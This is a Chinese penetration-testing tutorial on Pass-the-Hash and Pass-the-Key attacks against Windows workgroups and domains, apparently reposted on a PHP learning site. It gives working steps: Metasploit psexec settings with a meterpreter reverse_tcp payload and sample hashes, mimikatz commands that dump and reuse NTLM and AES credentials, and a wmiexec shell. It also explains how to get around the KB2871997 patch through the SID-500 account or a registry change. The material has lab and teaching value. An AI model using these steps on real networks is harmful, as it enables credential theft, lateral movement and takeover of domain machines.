0

0

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

看不見的法師

看不見的法師

发布时间:2025-07-16 10:12:49

|

615人浏览过

|

来源于php中文网

原创

作者:谢公子

CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。

免责声明:本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!

哈希传递攻击详解

哈希传递攻击是一种基于NTLM认证的攻击方法。该攻击的前提是我们获取了某个用户的密码哈希值,但无法破解为明文密码。这时,我们可以利用NTLM认证的漏洞,使用用户的密码哈希值进行认证。在域环境中,由于许多计算机在安装时使用相同的本地管理员账号和密码,攻击者可以利用哈希传递攻击登录到内网中的其他机器。

哈希传递攻击的适用场景:

在工作组环境中:

对于Windows Vista之前的机器,可以利用本地管理员组内的任何用户进行攻击。对于Windows Vista及之后的机器,仅限于administrator用户的哈希值可以用于哈希传递攻击,其他用户(包括管理员用户但非administrator)无法使用此方法,尝试时会提示拒绝访问。在域环境中:

仅限于域管理员组内用户(包括非administrator的域管理员用户)的哈希值可以用于哈希传递攻击,攻击成功后可以访问域内任何一台机器。使用Metasploit Framework(MSF)进行哈希传递攻击(工作组)

有时,当我们获取到某台主机的administrator用户的密码哈希值,并且该主机的445端口开放时,我们可以利用exploit/windows/smb/psexec模块通过MSF进行远程登录(哈希传递攻击)。目标主机可以是一个单一的主机,也可以是一个网段。

以下是针对Windows Vista之后的机器的攻击示例,仅限于administrator用户:

工作组环境,必须是administrator用户

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里我们已经获取到了LM和NTLM哈希值
msf exploit(psexec) > exploit

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

使用Metasploit Framework(MSF)进行哈希传递攻击(域)

当我们获取到域管理员组内用户的密码哈希值,并且该主机的445端口开放时,我们可以利用exploit/windows/smb/psexec模块通过MSF进行哈希传递攻击。

域环境,域管理员组内用户即可

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test   #test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

使用mimikatz进行哈希传递攻击(工作组)

对于Windows Vista之前的机器,可以利用本地管理员组内的任何用户进行攻击。对于Windows Vista及之后的机器,仅限于administrator用户的哈希值可以用于哈希传递攻击,其他用户(包括管理员用户但非administrator)无法使用此方法,尝试时会提示拒绝访问。

privilege::debug    #首先提升权限
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希

Windows Server 2003

本地管理员:

administratorxie

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

Windows Server 2008

本地管理员:

administratorxie

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

使用mimikatz进行哈希传递攻击(域)

在域环境中,当我们获取到域管理员组内用户的NTLM哈希值时,我们可以利用域内的一台主机通过mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行命令后会弹出一个CMD窗口,在该窗口中我们可以访问域内任何一台机器。需要注意的是,我们必须拥有域内任意一台主机的本地管理员权限和域管理员的NTLM哈希值。

白瓜AI
白瓜AI

白瓜AI,一个免费图文AI创作工具,支持 AI 仿写,图文生成,敏感词检测,图片去水印等等。

下载

域:xie.com 域控:WIN2008.xie.com 普通域主机:WIN2003 域管理员:test 域普通用户:hack

privilege::debug    #首先提升权限
#使用域管理员test的NTLM哈希值对域控进行哈希传递攻击,域用户test在域管理员组中
sekurlsa::pth  /user:test  /domain:xie.com  /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

在弹出的cmd窗口中,使用wmiexec.vbs进行验证

cscript wmiexec.vbs /shell Win2008

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

只有域管理员的NTLM哈希值可以进行哈希传递攻击,域普通用户的NTLM哈希值无法进行哈希传递攻击。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

使用AES进行Key传递攻击(PTK,Pass The Key)

前提:仅适用于域环境,并且目标主机需要安装KB2871997补丁。

获取AES凭证

privilege::debug
sekurlsa::ekeys          #获取kerberos加密凭证

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

利用获得到的AES256或AES128进行Key攻击

privilege::debug
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e

在域控未安装KB2871997补丁的情况下,无法使用Key传递攻击。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

然而,即使在域控上安装了KB2871997补丁后,Key传递攻击仍然无法使用。这里尚不清楚原因。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

KB2871997补丁的影响

微软在2014年5月发布了KB2871997和KB2928120两个补丁。KB2871997针对PTH攻击,而KB2928120针对GPP(Group Policy Preference)。KB2871997补丁使得本地账户不再能用于远程访问系统,无论是Network logon还是Interactive login。其结果是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbexec、IPC等,也无法访问远程主机的文件共享等。

在实际测试中,更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但administrator(SID=500)账号例外,使用该账号的散列值依然可以进行哈希传递攻击。这里需要强调的是SID=500的账号。即使将administrator账号重命名,也不会影响SID的值。因此,如果攻击者使用SID为500的账号进行哈希传递攻击,就不会受到KB2871997的影响。

实验

Windows Server 2008R2:192.168.10.20 域管理员:administrator、xie

未安装KB2871997补丁前,使用administrator账号可以成功进行哈希传递攻击,使用管理员账号xie无法进行哈希传递攻击。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

安装KB2871997补丁后,使用administrator账号依然可以成功进行哈希传递攻击,使用管理员账号xie无法进行哈希传递攻击。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

将administrator账号重命名为admin后,由于不存在administrator账号了,所以无法使用administrator账号进行哈希传递攻击,但可以使用admin账号进行哈希传递攻击,因为admin账号的SID值为500。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

修改目标机器的LocalAccountTokenFilterPolicy为1后,使用普通域管理员账号xie也可进行哈希传递攻击。

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)

总结:实际上,KB2871997补丁的效果有限。由于在Windows Vista时代,微软就通过将LocalAccountTokenFilterPolicy值默认设置为0来禁止非administrator账号的远程连接(包括哈希传递攻击),但administrator用户不受影响。即使目标主机更新了KB2871997补丁,仍然可以使用SID=500的用户进行哈希传递攻击,而SID=500的用户默认为administrator,所以仍然可以使用administrator用户进行哈希传递攻击。此外,在安装了KB2871997补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也可以使用普通管理员账号进行哈希传递攻击。

相关专题

更多
windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

578

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1102

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

791

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

452

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2349

2023.08.08

windows自动更新
windows自动更新

Windows操作系统的自动更新功能可以确保系统及时获取最新的补丁和安全更新,以提高系统的稳定性和安全性。然而,有时候我们可能希望暂时或永久地关闭Windows的自动更新功能。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

777

2023.08.10

windows boot manager
windows boot manager

windows boot manager无法开机的解决方法:1、系统文件损坏,使用Windows安装光盘或USB启动盘进入恢复环境,选择修复计算机,然后选择自动修复;2、引导顺序错误,进入恢复环境,选择命令提示符,输入命令"bootrec /fixboot"和"bootrec /fixmbr",然后重新启动计算机;3、硬件问题,使用硬盘检测工具进行扫描和修复;4、重装操作系统。本专题还提供其他解决

1488

2023.08.28

windows锁屏快捷键
windows锁屏快捷键

windows锁屏快捷键是Windows键+L、Ctrl+Alt+Del、Windows键+D、Windows键+P和Windows键+R。本专题为大家提供windows相关的文章、下载、课程内容,供大家免费下载体验。

1626

2023.08.30

高德地图升级方法汇总
高德地图升级方法汇总

本专题整合了高德地图升级相关教程,阅读专题下面的文章了解更多详细内容。

42

2026.01.16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 4.5万人学习

国外Web开发全栈课程全集
国外Web开发全栈课程全集

共12课时 | 1.0万人学习

微信小程序开发之API篇
微信小程序开发之API篇

共15课时 | 1.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号